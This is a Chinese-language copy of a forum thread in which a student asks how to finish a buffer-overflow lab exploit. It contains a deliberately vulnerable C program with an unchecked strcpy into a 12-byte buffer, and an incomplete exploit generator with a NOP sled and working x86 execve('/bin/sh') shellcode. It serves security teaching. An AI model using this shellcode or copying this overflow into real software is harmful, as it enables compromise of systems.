利用BufferOverflow

ozg*_*gen 11 c linux

我正在开发一个项目,我应该编写一个C程序来利用给定程序的漏洞.

这是易受攻击的C程序:

#include <stdlib.h>
#include <stdio.h>

int bof(char *str)
{
  char buffer[12];
  strcpy(buffer, str);
  return 1;
}

int main(int argc, char **argv)
{
  char str[517];
  FILE *badfile;
  badfile = fopen("badfile", "r");
  fread(str, sizeof(char), 517, badfile);
  bof(str);
  printf("Returned Properly\n");
  return 1;
}
Run Code Online (Sandbox Code Playgroud)

以下是利用的代码:

#include <stdlib.h>
#include <stdio.h>
#include <string.h>
char shellcode[]=
"\x31\xc0"  /* xorl  %eax,%eax   */
"\x50"      /* pushl %eax        */
"\x68""//sh"/* pushl $0x68732f2f */
"\x68""/bin"/* pushl $0x6e69622f */
"\x89\xe3"  /* movl  %esp,%ebx   */
"\x50"      /* pushl %eax        */
"\x53"      /* pushl %ebx        */
"\x89\xe1"  /* movl  %esp,%ecx   */
"\x99"      /* cdql              */
"\xb0\x0b"  /* movb  $0x0b,%al   */
"\xcd\x80"  /* int   $0x80       */
;

void main(int argc, char **argv)
{
   char buffer[517];
   FILE *badfile;

   /* Initialize buffer with 0x90 (NOP instruction) */
   memset(&buffer, 0x90, 517);

   /* Fill the buffer with appropriate contents here */

   /* Save the contents to the file "badfile" */
   badfile = fopen("./badfile", "w");
   fwrite(buffer, 517, 1, badfile);
   fclose(badfile);
}
Run Code Online (Sandbox Code Playgroud)

所以,我需要在保存到"badfile"之前用适当的内容填充缓冲区.我已经阅读了很多关于缓冲区溢出的内容,我想我需要修改易受攻击程序的返回地址.但我真的不知道我该怎么做.我应该先找到原始的寄信地址,还是我还能做些什么呢?另外,关于我应该如何实现缓冲区的任何想法/建议?

Spe*_*bun 1

我建议阅读 Metasploit Unleashed 上的页面,从这一页开始。您可以浏览关联的 ruby​​ 模块,查看实际发生的情况,然后移植到 C。虽然这很重要,但它演示了所需的方法。

另外,正如其他人所建议的,使用调试器对于弄清楚发生了什么很重要。获得一个像样的模式,例如cgdbdddpyclewngdb-mode,将使生活变得更加轻松。